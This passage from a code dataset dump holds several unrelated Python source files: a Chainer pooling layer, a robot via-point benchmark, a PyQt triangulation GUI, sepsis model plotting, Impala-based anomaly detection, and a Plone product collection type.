conv_nd.as_tuple(ksize, ndim)\n self.stride = conv_nd.as_tuple(stride, ndim)\n self.pad = conv_nd.as_tuple(pad, ndim)\n\n self.cover_all = cover_all\n self.return_indices = return_indices\n\n self._used_cudnn = False\n\n def check_type_forward(self, in_types):\n type_check.expect(\n in_types.size() == 1,\n in_types[0].dtype.kind == 'f',\n in_types[0].ndim == 2 + self.ndim,\n in_types[0].size > 0,\n )\n\n def forward_gpu(self, x):\n self.retain_inputs((0,))\n self._used_cudnn = True\n\n # Implementation using cuDNN.\n x = x[0]\n n, c = x.shape[:2]\n dims = x.shape[2:]\n ys = tuple(conv.get_conv_outsize(d, k, s, p, self.cover_all)\n for d, k, s, p in six.moves.zip(\n dims, self.ksize, self.stride, self.pad))\n y_shape = (n, c) + ys\n y = cuda.cupy.empty(y_shape, dtype=x.dtype)\n\n cudnn.pooling_forward(\n x, y, self.ksize, self.stride, self.pad, self._get_pool_mode())\n self.retain_outputs((0,))\n return y,\n\n def backward_gpu(self, x, gy):\n # Implementation using cudnn\n x = x[0]\n y = self.get_retained_outputs()[0].array\n gx = cudnn.pooling_backward(\n x, y, gy[0],\n self.ksize, self.stride, self.pad, self._get_pool_mode())\n return gx,\n\n def _get_pool_mode(self):\n raise NotImplementedError()\n","sub_path":"chainer/functions/pooling/pooling_nd.py","file_name":"pooling_nd.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"449991165","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom viapoint_environment import ViaPointEnvironment\nfrom bolero.behavior_search import BlackBoxSearch\nfrom bolero.optimizer import CMAESOptimizer\nfrom bolero.controller import Controller\nimport viapoint_config as cfg\nfrom joblib import Parallel, delayed\nimport pickle\n\n\nn_runs = 30\nn_episodes = 500\nsetup_funs = [(\"approxik\", -1, cfg.make_approx_cart_dmp),\n (\"exactik\", -1, cfg.make_exact_cart_dmp),\n (\"joint\", -1, cfg.make_joint_dmp)]\n\n\ndef learn(name, setup_fun, run):\n ik, beh, mp_keys, mp_values = setup_fun(\n cfg.x0, cfg.g, cfg.execution_time, cfg.dt)\n env = ViaPointEnvironment(\n ik, cfg.x0, cfg.via_points, cfg.execution_time, cfg.dt,\n cfg.qlo, cfg.qhi,\n penalty_vel=cfg.penalty_vel, penalty_acc=cfg.penalty_acc,\n penalty_via_point=cfg.penalty_via_point)\n\n opt = CMAESOptimizer(variance=cfg.variance[name], random_state=run)\n bs = BlackBoxSearch(beh, opt)\n controller = Controller(environment=env, behavior_search=bs,\n n_episodes=n_episodes, verbose=1)\n rewards = controller.learn(mp_keys, mp_values)\n\n best = bs.get_best_behavior()\n reward = controller.episode_with(best)\n\n return name, rewards, reward.sum()\n\n\nfor name, n_jobs, setup_fun in setup_funs:\n parallel = Parallel(n_jobs=n_jobs, pre_dispatch=\"all\", verbose=10)\n results = parallel(delayed(learn)(name, setup_fun, run)\n for run in range(n_runs))\n pickle.dump(results, open(\"results_benchmark_simple_viapoint_%s.pickle\"\n % name, \"w\"))\n","sub_path":"evaluation/benchmark_simple_viapoint.py","file_name":"benchmark_simple_viapoint.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"96471954","text":"import cv2\nimport json\nimport sqlite3\nimport numpy as np\nfrom datetime import datetime\n\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import QMessageBox, QFileDialog, QMainWindow, QAction, QActionGroup\n\nfrom Models.GeometricFigures import *\nfrom Windows.ResultWindow import ResultWindow\nfrom Triangulation.CloudOfPoints import CloudOfPoints\nfrom Triangulation.CreaterTriangulation import CreaterTriangulation\n\n\ndef create_question(title, question, textBtn1, textBtn2):\n messageBox = QMessageBox()\n messageBox.setIcon(QMessageBox.Question)\n messageBox.setWindowTitle(title)\n messageBox.setText(question)\n messageBox.setStandardButtons(QMessageBox.Yes | QMessageBox.No)\n messageBox.setDefaultButton(QMessageBox.Yes)\n\n buttonYes = messageBox.button(QMessageBox.Yes)\n buttonYes.setText(textBtn1)\n\n buttonNo = messageBox.button(QMessageBox.No)\n buttonNo.setText(textBtn2)\n messageBox.exec_()\n return messageBox, buttonYes, buttonNo\n\n\ndef range_color_to_range_height(oldArray, newRange):\n heights = [int(round(newRange[0] + x * (newRange[1] - newRange[0]) / 255)) for x in range(256)]\n return [[heights[oldArray[i][j]] for j in range(len(oldArray[0]))] for i in range(len(oldArray))]\n\n\nclass ImageProcessing(QMainWindow):\n conn = sqlite3.connect(\"history.db\")\n user_parametersFromJSON = None\n user_rangeHeight = None\n user_stepXY = None\n user_maxDiscrepancy = None\n map_imageColor = None\n map_imageHeight = None\n map_takenPoints = None\n map_triangulation = None\n\n def __init__(self):\n super(ImageProcessing, self).__init__()\n uic.loadUi('res/MainWindow.ui', self)\n self.show()\n self.setFixedSize(self.width(), self.height())\n self.chooseFileButton.clicked.connect(self.choose_map_file)\n self.ExitAction.triggered.connect(lambda: exit(0))\n self.OpenAction.triggered.connect(self.load_triangulation)\n self.OpenTriangulation.triggered.connect(self.load_triangulation)\n self.RunAction.triggered.connect(self.start_triangulation)\n self.db_work()\n\n def db_work(self):\n cursor = self.conn.cursor()\n cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS file_info\n (id INTEGER PRIMARY KEY,\n path TEXT,\n date_of_use TEXT)\"\"\")\n cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS triangle_parameters\n (file_id INTEGER NOT NULL REFERENCES file_info(id), \n min_height INTEGER, max_height INTEGER,\n step_x INTEGER, step_y INTEGER,\n max_discrepancy INTEGER)\"\"\")\n self.conn.commit()\n cursor.execute(\"SELECT * FROM file_info\")\n file_info_all = cursor.fetchall()\n actionGroup = QActionGroup(self)\n if len(file_info_all) > 0:\n for file_info in file_info_all:\n action = QAction(f\"|_№{file_info[0]}_|_{file_info[2]}_| {file_info[1]}\", self)\n actionGroup.addAction(action)\n self.TriangulationMenu.addAction(action)\n actionGroup.triggered.connect(self.load_parameters)\n\n def update_history(self):\n cursor = self.conn.cursor()\n cursor.execute(\"SELECT COUNT(id) FROM file_info\")\n row_count = cursor.fetchone()[0]\n cursor.execute(f\"\"\"INSERT INTO file_info VALUES (?,?,?);\"\"\",\n (row_count + 1,\n self.pathFileLabel.text() if len(self.pathFileLabel.text()) > 0 is not None\n else self.user_parametersFromJSON['path to map of height'],\n datetime.today().strftime('%d.%m.%Y %H:%M')))\n cursor.execute(f\"\"\"INSERT INTO triangle_parameters VALUES (?,?,?,?,?,?);\"\"\",\n (row_count + 1,\n self.user_rangeHeight[0],\n self.user_rangeHeight[1],\n self.user_stepXY[0],\n self.user_stepXY[1],\n self.user_maxDiscrepancy))\n self.conn.commit()\n if row_count == 5:\n cursor.execute(f\"\"\"DELETE FROM triangle_parameters WHERE file_id = ?\"\"\", (1,))\n cursor.execute(f\"\"\"DELETE FROM file_info WHERE id = ?\"\"\", (1,))\n cursor.execute(f\"\"\"UPDATE triangle_parameters SET file_id = file_id-1\"\"\")\n cursor.execute(f\"\"\"UPDATE file_info SET id = id-1\"\"\")\n self.conn.commit()\n\n def load_parameters(self, action):\n cursor = self.conn.cursor()\n cursor.execute(\"SELECT * FROM file_info WHERE id=?\", (int(action.text()[3]),))\n info = cursor.fetchone()\n loadParametersQuestion, buttonYes, _ = create_question(\n title=\"Подтверждение\",\n question=f\"Вы желаете загрузить триангуляцию от {info[2]}\\nдля файла {info[1]}?\",\n textBtn1=\"Да\",\n textBtn2=\"Нет\")\n if loadParametersQuestion.clickedButton() == buttonYes:\n cursor.execute(\"SELECT * FROM triangle_parameters WHERE file_id=?\", (info[0],))\n parameters = cursor.fetchone()\n self.minHeightSpin.setValue(parameters[1])\n self.maxHeightSpin.setValue(parameters[2])\n self.stepXSpin.setValue(parameters[3])\n self.stepYSpin.setValue(parameters[4])\n self.maxDiscrepancySpin.setValue(parameters[5])\n try:\n self.pathFileLabel.setText(info[1])\n self.load_map_file()\n QMessageBox.about(self, \"Сообщение\", \"Параметры и изображение загружены\")\n except:\n self.pathFileLabel.setText(\"\")\n QMessageBox.critical(self, \"Ошибка\", f\"Файла\\n\\n{info[1]}\\n\\nне существует!\")\n QMessageBox.about(self, \"Сообщение\", \"Остальные параметры загружены\")\n\n def choose_map_file(self):\n fileName = QFileDialog.getOpenFileName(parent=self,\n caption='Open File',\n filter=\"Image (*.png *.jpg *.jpeg)\")[0]\n self.pathFileLabel.setText(fileName)\n if len(fileName) > 0 and QMessageBox.question(self, \"Подтверждение\", f\"Загрузить файл\\n{fileName}?\",\n QMessageBox.Yes | QMessageBox.No,\n QMessageBox.Yes) == QMessageBox.Yes:\n self.statusTextEdit.appendPlainText(\"Загрузка карты высот...\")\n self.load_map_file()\n self.statusTextEdit.appendPlainText(\"Загрузка карты высот завершена\")\n\n def load_map_file(self):\n map_imageOriginal = cv2.imdecode(np.fromfile(self.pathFileLabel.text(), dtype=np.uint8), cv2.IMREAD_UNCHANGED)\n self.map_imageColor = np.array(cv2.cvtColor(src=map_imageOriginal,\n code=cv2.COLOR_BGR2GRAY))\n self.map_imageColor = cv2.GaussianBlur(self.map_imageColor, (5, 5), 5)\n\n def load_triangulation(self):\n fileName = QFileDialog.getOpenFileName(parent=self,\n caption='Open File',\n filter=\"JSON (*.json)\")[0]\n if len(fileName) > 0:\n loadTriangulationQuestion, buttonYes, _ = create_question(title=\"Подтверждение\",\n question=f\"Загрузить триангуляцию\\n{fileName}?\",\n textBtn1=\"Да\",\n textBtn2=\"Нет\")\n if loadTriangulationQuestion.clickedButton() == buttonYes:\n with open(fileName, \"r\") as readFile:\n data = json.load(readFile)\n data = list(data.values())\n\n try:\n self.user_parametersFromJSON = data[0]\n self.user_rangeHeight = [int(n) for n in self.user_parametersFromJSON[\"range of height\"].split(\" \")]\n self.user_stepXY = [int(n) for n in (self.user_parametersFromJSON[\"step on the OX axis\"],\n self.user_parametersFromJSON[\"step on the OY axis\"])]\n self.user_maxDiscrepancy = int(self.user_parametersFromJSON['maximum residual value'])\n\n self.map_imageColor = None\n self.map_takenPoints = CloudOfPoints()\n self.map_triangulation = CreaterTriangulation()\n\n for triangle in data[1::]:\n nodes = []\n for node in triangle['nodes']:\n nodeXYZ = node.split(' ')\n nodeXYZ = [int(float(c)) for c in nodeXYZ]\n nodes.append(nodeXYZ)\n self.map_takenPoints.takenPoints += [tuple(nodeXYZ)]\n self.map_triangulation.triangles.append(Triangle(\n nodes=[Point(node[0], node[1], node[2]) for node in nodes],\n neighbours=[int(n) for n in triangle['neighbours'].split(' ')]\n ))\n self.map_takenPoints.takenPoints = list(set(self.map_takenPoints.takenPoints))\n self.map_takenPoints.takenPoints = [Point(x=point[0], y=point[1], z=point[2]) for point in\n self.map_takenPoints.takenPoints]\n self.map_triangulation.nodes = self.map_takenPoints.takenPoints\n self.update_history()\n self.open_window_show_result()\n QMessageBox.about(self, \"Сообщение\", \"Триангуляция успешно загружена\")\n except:\n QMessageBox.critical(self, \"Ошибка\", \"Не совпадает структура файла!\")\n\n def start_triangulation(self):\n if len(self.pathFileLabel.text()) == 0:\n QMessageBox.critical(self, \"Ошибка\", \"Сначала загрузите файл\")\n elif self.minHeightSpin.value() >= self.maxHeightSpin.value():\n QMessageBox.critical(self, \"Ошибка\", \"Минимальная высота должна быть больше меньше максимальной высоты\")\n else:\n self.user_rangeHeight = (self.minHeightSpin.value(), self.maxHeightSpin.value())\n self.user_stepXY = (self.stepXSpin.value(), self.stepYSpin.value())\n self.user_maxDiscrepancy = self.maxDiscrepancySpin.value()\n self.statusTextEdit.appendPlainText(\"Преобразование диапазонов...\")\n QMessageBox.about(self, \"Сообщение\", \"Нажмите ОК, чтобы начать преобразование диапазонов\")\n self.map_imageHeight = np.array(range_color_to_range_height(oldArray=self.map_imageColor,\n newRange=self.user_rangeHeight))\n self.statusTextEdit.appendPlainText(\"Преобразование диапазонов завершено\")\n self.statusTextEdit.appendPlainText(\"Извлечение точек для триангуляции...\")\n QMessageBox.about(self, \"Сообщение\", \"Нажмите ОК для запуска процесса извлечения точек триангуляции\")\n self.map_takenPoints = CloudOfPoints(map_imageHeight=self.map_imageHeight,\n stepXY=self.user_stepXY,\n minDist=self.user_maxDiscrepancy)\n self.statusTextEdit.appendPlainText(\"Извлечение точек для триангуляции завершено\")\n self.statusTextEdit.appendPlainText(\"Триангуляция на плоскости...\")\n QMessageBox.about(self, \"Сообщение\", \"Нажмите ОК для запуска процесса триангуляции на плоскости\")\n self.map_triangulation = CreaterTriangulation(nodes=self.map_takenPoints.takenPoints)\n self.statusTextEdit.appendPlainText(\"Триангуляция на плоскости завершена\")\n self.statusTextEdit.appendPlainText(\"Триангуляция в пространстве...\")\n QMessageBox.about(self, \"Сообщение\", \"Нажмите ОК для запуска процесса триангуляции в пространстве\")\n self.statusTextEdit.appendPlainText(\"Триангуляция в пространстве завершена\")\n self.update_history()\n self.open_window_show_result()\n\n def open_window_show_result(self):\n self.close()\n ResultWindow(user_parameters={\n \"path\": self.user_parametersFromJSON['path to map of height']\n if self.map_imageColor is None else self.pathFileLabel.text(),\n \"range of height\": self.user_rangeHeight,\n \"step on the OX and OY axes\": self.user_stepXY,\n \"maximum residual value\": self.user_maxDiscrepancy},\n originalImage=self.map_imageColor,\n map_takenPoints=self.map_takenPoints,\n triangulation=self.map_triangulation)\n","sub_path":"Windows/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":13865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"173921058","text":"from utilityscore import compute_scores_2019, load_column\nimport argparse\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nRNN_MODELS = ['LSTM', 'LSTMM', 'LSTMSimple', 'GRU', 'GRUM', 'GRUD']\nNON_RNN_MODELS = ['COX', 'RF', 'XG', 'RLR']\nMETRICS = ['Utility', 'Sensitivity', 'Specificity']\n\n\nMODEL_NAME_MAPPTING = {'COX': 'Cox PH', 'RF': 'RF', 'XG': 'XGBoost', 'RLR': 'RLR',\n 'LSTMSimple': 'LSTM-MD', 'LSTM': 'LSTM', 'LSTMM': 'LSTM-M',\n 'GRU': 'GRU', 'GRUM': 'GRU-M', 'GRUD': 'GRU-Decay'}\n\nRNN_IMPUTATION = ['mean', 'forward', 'grud', 'dae']\nNON_RNN_IMPUTATION = ['mean', 'forward']\n\ndef generate_plots(args):\n rnn = []\n non_rnn = []\n\n for model in os.listdir(args.metrics_path):\n model_path = os.path.join(args.metrics_path, model)\n if model in RNN_MODELS:\n plot_roc(model, model_path, args.plot_path, 'RNN')\n else:\n plot_roc(model, model_path, args.plot_path, 'Non-RNN')\n if model in RNN_MODELS:\n rnn.append(model)\n elif model in NON_RNN_MODELS:\n non_rnn.append(model)\n\n for metric in METRICS:\n if rnn:\n plot_metric(args.metrics_path, rnn, metric, 'RNN', args.plot_path)\n if non_rnn:\n plot_metric(args.metrics_path, non_rnn, metric, 'Non-RNN', args.plot_path)\n\n\ndef plot_roc(model, model_path, plot_path, type):\n plt.style.use('ggplot')\n plt.figure(figsize=[4, 4], dpi=150)\n plt.plot([0, 1], [0, 1], 'k--')\n\n print(\"Metric: AUC\")\n\n # colors = ['m', 'c', 'g', 'b']\n count=0\n\n if type == 'RNN':\n imputation_lst = RNN_IMPUTATION\n else:\n imputation_lst = NON_RNN_IMPUTATION\n\n for imputation_method in imputation_lst:\n imputation_dir = os.path.join(model_path, imputation_method)\n\n fpr = load_column(os.path.join(imputation_dir, 'seed_1.roc'), 'FPR')\n tpr = load_column(os.path.join(imputation_dir, 'seed_1.roc'), 'TPR')\n auc = load_column(os.path.join(imputation_dir, 'seed_1.metrics'), 'AUROC')\n\n # plt.plot(fpr, tpr, label='{} {}'.format(imputation_method, '{0:.3f}'.format(auc[0])), color=colors[count])\n plt.plot(fpr, tpr, label='{} {}'.format(imputation_method, '{0:.3f}'.format(auc[0])), alpha=0.7)\n aucs = []\n for seed in os.listdir(imputation_dir):\n if seed.endswith('.metrics'):\n aucs.append(load_column(os.path.join(imputation_dir, seed), 'AUROC'))\n auc_mean = np.mean(aucs)\n auc_std = np.std(aucs)\n\n print('Model: {} Imputation Type: {} Avg: {} Std: {}'.format(model, imputation_method, auc_mean, auc_std))\n count += 1\n plt.legend()\n plt.title('{} ROC Curve'.format(MODEL_NAME_MAPPTING[model]))\n\n roc_dir = '{}/roc'.format(plot_path)\n\n if not os.path.exists(roc_dir):\n os.makedirs(roc_dir)\n\n plt.show()\n\n plt.savefig('{}/{}.png'.format(roc_dir, model))\n\n plt.close()\n\n\ndef plot_metric(metrics_path, models, metric, type, plot_path):\n\n print(\"Metric: {}\".format(metric))\n\n model_names = []\n d = {}\n\n if type == 'RNN':\n imputation_lst = RNN_IMPUTATION\n else:\n imputation_lst = NON_RNN_IMPUTATION\n\n for model in os.listdir(metrics_path):\n if model in models:\n model_dir = os.path.join(metrics_path, model)\n model_names.append(MODEL_NAME_MAPPTING[model])\n for imputation_method in imputation_lst:\n if imputation_method not in d:\n d[imputation_method] = {}\n imputation_dir = os.path.join(model_dir, imputation_method)\n all_seed_metrics = []\n for seed in os.listdir(imputation_dir):\n if seed.endswith('.metrics'):\n all_seed_metrics.append(load_column(os.path.join(imputation_dir, seed), metric)[0])\n\n if 'means' not in d[imputation_method]:\n d[imputation_method]['means'] = []\n if 'stds' not in d[imputation_method]:\n d[imputation_method]['stds'] = []\n\n mean = np.mean(all_seed_metrics)\n std = np.std(all_seed_metrics)\n\n\n d[imputation_method]['means'].append(mean)\n d[imputation_method]['stds'].append(std)\n\n\n print('Model: {} Imputation Type: {} Avg: {} Std: {}'.format(model, imputation_method, mean, std))\n\n plt.style.use('ggplot')\n\n\n plt.figure(dpi=150)\n N = len(models)\n fig, ax = plt.subplots()\n ind = np.arange(N)\n width = 0.2\n rects = []\n rects_0 = []\n count = 0\n # colors = ['m', 'c', 'g', 'b']\n imputation_types = []\n\n for imputation in imputation_lst:\n means = d[imputation]['means']\n stds = d[imputation]['stds']\n rect = ax.bar(ind + count * width, means, width, yerr=stds)\n # rect = ax.bar(ind + count*width, means, width, color=colors[count], yerr=stds)\n rects.append(rect)\n rects_0.append(rect[0])\n count += 1\n\n if type == 'RNN':\n factor = 1.5\n else:\n factor = 0.5\n\n ax.set_ylabel(metric)\n ax.set_title('{} Methods - {}'.format(type, metric))\n ax.set_xticks(ind + factor*width)\n ax.set_xticklabels(model_names)\n ax.legend(rects_0, imputation_lst)\n\n metric_dir = '{}/metrics'.format(plot_path)\n\n if not os.path.exists(metric_dir):\n os.makedirs(metric_dir)\n\n plt.ylim(0, 1)\n plt.show()\n\n plt.savefig('{}/{}-{}.png'.format(metric_dir, type, metric))\n\n plt.close()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Arguments for sepsis prediction')\n parser.add_argument('--metrics_path', type=str, default='metrics')\n parser.add_argument('--plot_path', type=str, default='plots')\n\n args = parser.parse_args()\n\n generate_plots(args)\n","sub_path":"generate_plots.py","file_name":"generate_plots.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"256931870","text":"#%%\nimport statsmodels.api as sm\nimport numpy as np\nimport itertools\nimport pandas as pd\nfrom datetime import timedelta\n\nfrom impala_connector import *\nfrom kibana_links import *\n\n\ndef get_data(time_interval, param_list, values_to_select):\n data = read_data(time_interval, param_list, values_to_select)\n data = process_data(data, param_list)\n data = fill_zeros(data, param_list)\n param_values_count = len(set([tuple(x) for x in data[param_list].values]))\n values_before_removing_seasonality = data[\"count\"][-param_values_count:]\n data = remove_seasonality(data, time_interval, param_list)\n return data, values_before_removing_seasonality\n\n\ndef fill_zeros(data, param_list):\n column_names = list(data.columns)[:-1]\n last_date_values = []\n all_values = []\n if \"min\" in data:\n date_params = [\"dt\", \"hour\", \"min\"]\n else:\n date_params = [\"dt\", \"hour\"]\n for date_param in date_params:\n all_values.append(list(set(map(tuple, data[[date_param]].values))))\n last_date_values.append(data[date_param].values[-1])\n all_values.append(list(set(map(tuple, data[param_list].values))))\n cart_product = [sum(element, ()) for element in itertools.product(*all_values)]\n # create new index\n new_index = pd.MultiIndex.from_tuples(cart_product, names=column_names)\n data = data.set_index(column_names).reindex(new_index, fill_value=0).reset_index()\n data = data.sort_values(by=date_params + param_list)\n data = data.reset_index(drop=True)\n data = remove_extra_dates(data, last_date_values)\n return data\n\n\ndef add_seasonal_component(data, values_before_removing_seasonality):\n seasonal_component = values_before_removing_seasonality.reset_index(drop=True) - data[\"count\"]\n data[\"count\"] = data[\"count\"] + seasonal_component\n seasonal_component.loc[data[\"upper_bound\"] == -1] = 0\n data[\"upper_bound\"] = data[\"upper_bound\"] + seasonal_component\n data[\"count\"].apply(round)\n data[\"upper_bound\"].fillna(-1, inplace=True)\n data[\"count\"] = data[\"count\"].apply(int)\n data[\"upper_bound\"] = data[\"upper_bound\"].apply(int)\n return data\n\n\ndef read_data(time_interval, param_list, values_to_select):\n with ImpalaConn() as imp_con:\n data = pd.DataFrame(imp_con.get_data(time_interval, param_list, values_to_select))\n data = data.apply(lambda x: x.replace(\"\\\\\", \"\").replace(\"\\\"\", \"\"))\n data = data.apply(lambda x: x.replace(\"n\\/a\", \"\"))\n data = data.fillna(\"\")\n if \"min\" in time_interval:\n date_params = [\"dt\", \"hour\", \"min\"]\n else:\n date_params = [\"dt\", \"hour\"]\n column_names = date_params + param_list + [\"count\"]\n data.columns = column_names\n data = data.groupby(date_params + param_list, as_index=False).sum()\n return data\n\n\ndef process_data(data, param_list):\n data[\"dt\"] = pd.to_datetime(data[\"dt\"])\n for param in param_list:\n data[param] = data[param].apply(lambda x: x.strip() if (type(x) == str) else x)\n return data\n\n\ndef remove_extra_dates(data, date_values):\n if len(date_values) == 3:\n data = data.drop(data[(data[\"dt\"] == date_values[0]) & ((data[\"hour\"] > date_values[1]) |\n ((data[\"hour\"] == date_values[1]) & (data[\"min\"] >= date_values[2])))].index)\n else:\n data = data.drop(data[(data[\"dt\"] == date_values[0]) & (data[\"hour\"] >= date_values[1])].index)\n return data\n\n\ndef remove_seasonality(data, time_interval, param_list):\n # make columns with dates as index (necessary for the algorithm)\n data = create_date_index(data)\n for value in set([tuple(x) for x in data[param_list].values]):\n subsample = create_subsample(data, value, param_list)\n freq = get_freq(time_interval)\n if len(data.loc[subsample]) > freq:\n stl = sm.tsa.seasonal_decompose(data.loc[subsample, \"count\"], freq=freq)\n data.loc[subsample, \"count\"] = data.loc[subsample, \"count\"] - stl.seasonal.fillna(0)\n # return the data format to its original form\n data = data.reset_index(drop=True)\n data.loc[data[\"count\"] < 0, \"count\"] = 0\n return data\n\n\ndef get_freq(time_interval):\n if time_interval == \"15min\":\n return 96\n elif time_interval == \"30min\":\n return 48\n elif time_interval == \"1h\":\n return 24\n elif time_interval == \"3h\":\n return 8\n\n\ndef create_date_index(data):\n if \"min\" in data:\n data[\"time\"] = data[[\"hour\", \"min\"]].apply(lambda x: datetime.time(*x), axis=1)\n else:\n data[\"time\"] = data[[\"hour\"]].apply(lambda x: datetime.time(*x), axis=1)\n data[\"date\"] = data[[\"dt\", \"time\"]].apply(lambda x: x[0].combine(x[0], x[1]), axis=1)\n data = data.drop([\"time\"], axis=1)\n data = data.set_index([\"date\"])\n return data\n\n\ndef create_links_for_anomalies(data, time_interval, param_list):\n param_names = param_list\n data_anomalies = data.loc[data[\"is_anomaly\"] == \"yes\"]\n data[\"links\"] = \"\"\n hour_delta = get_hour_delta(time_interval)\n if len(data_anomalies):\n data_anomalies = create_date_index(data_anomalies)\n links = []\n for date, row in data_anomalies.iterrows():\n if \"min\" not in data.columns:\n links.append(get_link(param_names, [row[i+2] for i in range(len(param_list)+1)], date -\n timedelta(hours=hour_delta), date + timedelta(hours=hour_delta)))\n else:\n links.append(get_link(param_names, [row[i+3] for i in range(len(param_list)+1)], date -\n timedelta(hours=hour_delta), date + timedelta(hours=hour_delta)))\n data.loc[data[\"is_anomaly\"] == \"yes\", \"links\"] = links\n return data\n\n\ndef create_subsample(data, value, param_list):\n subsample = (data[\"dt\"] == data[\"dt\"])\n for i, param_name in enumerate(param_list):\n subsample &= (data[param_name] == value[i])\n return subsample\n\n\ndef get_hour_delta(time_interval):\n if time_interval == \"1h\":\n return 2\n elif time_interval == \"3h\":\n return 3\n else:\n return 1\n","sub_path":"anomaly_detection_monitoring_500_all/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"109024654","text":"import os\nimport base64\nimport json\nfrom AccessControl import Unauthorized\nfrom Acquisition import aq_inner\n\nfrom five import grok\nfrom zope import schema\nfrom plone import api\n\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\nfrom zope.lifecycleevent import modified\nfrom plone.directives import dexterity, form\n\nfrom plone.app.uuid.utils import uuidToObject\n\nfrom z3c.relationfield.schema import RelationList, RelationChoice\nfrom plone.formwidget.contenttree import ObjPathSourceBinder\nfrom plone.formwidget.autocomplete import AutocompleteMultiFieldWidget\n\n\nfrom chromsystems.shopcontent.layouteditor import ILayoutEditorUtility\nfrom chromsystems.shopcontent.orderableitem import IOrderableItem\n\nfrom chromsystems.shopcontent import MessageFactory as _\n\n\nclass IItemCollection(form.Schema):\n \"\"\"\n A collection of orderable products\n \"\"\"\n title = schema.TextLine(\n title=_(u\"Title\"),\n required=True,\n )\n title_de = schema.TextLine(\n title=_(u\"Item Title DE\"),\n required=True,\n )\n title_en = schema.TextLine(\n title=_(u\"Item Title EN\"),\n required=True,\n )\n orderCode = schema.TextLine(\n title=_(u\"Product Code\"),\n required=True,\n )\n exclude_usa = schema.Bool(\n title=_(u\"Mark as unorderable from the USA\"),\n required=False,\n default=False,\n )\n exclude_canada = schema.Bool(\n title=_(u\"Mark as unorderable from Canada\"),\n required=False,\n default=False,\n )\n form.widget(relatedProducts=AutocompleteMultiFieldWidget)\n relatedProducts = RelationList(\n title=_(u\"Related Products\"),\n default=[],\n value_type=RelationChoice(\n title=_(u\"Related\"),\n source=ObjPathSourceBinder(\n object_provides=IOrderableItem.__identifier__,)\n ),\n required=False,\n )\n #form.widget(subject=TokenInputFieldWidget)\n subject = schema.Tuple(\n title=_(u\"Keywords\"),\n description=_(u\"Type your desired keywords to add new tags or to \"\n u\"select from the autosuggested existing tags.\"),\n value_type=schema.TextLine(),\n required=False,\n missing_value=(),\n )\n category = schema.Tuple(\n title=_(u\"Categories\"),\n description=_(u\"Type your desired categories for this item collection \"\n u\"where the product should be found\"),\n value_type=schema.TextLine(),\n required=False,\n missing_value=(),\n )\n link_de = schema.URI(\n title=_(u\"Link DE\"),\n description=_(u\"Enter product information location on the main site\"),\n required=False,\n )\n link_en = schema.URI(\n title=_(u\"Link EN\"),\n description=_(u\"Enter product information location on the main site\"),\n required=False,\n )\n headlines = schema.TextLine(\n title=_(u\"Available Headlines\"),\n description=_(u\"A stringified json list of headlines. Note: each \"\n u\"headline has a unique id that will be added to the \"\n u\"final stored layout order stored\"),\n required=False,\n )\n layout_order = schema.List(\n title=_(u\"Stored Layout Order\"),\n value_type=schema.TextLine(\n title=_(u\"Subitem\"),\n ),\n required=False,\n )\n\n\nclass ItemCollection(dexterity.Item):\n grok.implements(IItemCollection)\n\n\nclass View(grok.View):\n grok.context(IItemCollection)\n grok.require('zope2.View')\n grok.name('view')\n\n def localized_value(self, obj, fieldname=None):\n fieldname = fieldname + '_' + self.current_lang()\n return getattr(obj, fieldname, None)\n\n def current_lang(self):\n context = aq_inner(self.context)\n pstate = getMultiAdapter((context, self.request),\n name=u'plone_portal_state')\n lang = pstate.language()\n return lang\n\n def test_item_uniqueness(self, uid):\n item_uids = self.item_info()\n unique = True\n if uid in item_uids:\n idx = 0\n for item in item_uids:\n if item == uid:\n idx += 1\n if idx > 1:\n unique = False\n return unique\n\n def item_info(self):\n context = aq_inner(self.context)\n item_relations = context.relatedProducts\n data = []\n for rel in item_relations:\n item = rel.to_object\n info = item.UID()\n data.append(info)\n return data\n\n\nclass Preview(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('preview')\n\n def orderable_items(self):\n return self.computeRelatedItemInfo()\n\n def computeRelatedItemInfo(self):\n context = aq_inner(self.context)\n item_relations = context.relatedProducts\n data = []\n for rel in item_relations:\n item = rel.to_object\n info = {}\n info['title'] = item.Title()\n info['orderid'] = item.productCode\n info['title_de'] = item.title_de\n info['title_en'] = item.title_en\n info['uid'] = item.UID\n data.append(info)\n return data\n\n def item_details(self, uuid):\n context = aq_inner(self.context)\n obj = uuidToObject(uuid)\n if not obj:\n headlines = json.loads(context.headlines)\n item = headlines[uuid]\n data = {}\n data['type'] = 'headline'\n data['uid'] = uuid\n title_key = 'title_' + self.current_lang()\n data['title'] = item[title_key]\n return data\n else:\n data = {}\n data['type'] = 'orderable'\n data['uid'] = uuid\n data['product_code'] = obj.productCode\n details_query = 'details_' + self.current_lang()\n data['details'] = getattr(obj, details_query, None)\n obj_title = self.localized_title(obj)\n if obj_title is not None:\n data['title'] = obj_title\n else:\n data['title'] = obj.Title()\n return data\n\n def localized_title(self, obj):\n fieldname = 'title_' + self.current_lang()\n return getattr(obj, fieldname, None)\n\n def current_lang(self):\n context = aq_inner(self.context)\n pstate = getMultiAdapter((context, self.request),\n name=u'plone_portal_state')\n lang = pstate.language()\n return lang\n\n\nclass LayoutJSON(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('layout-json')\n\n def render(self):\n context = 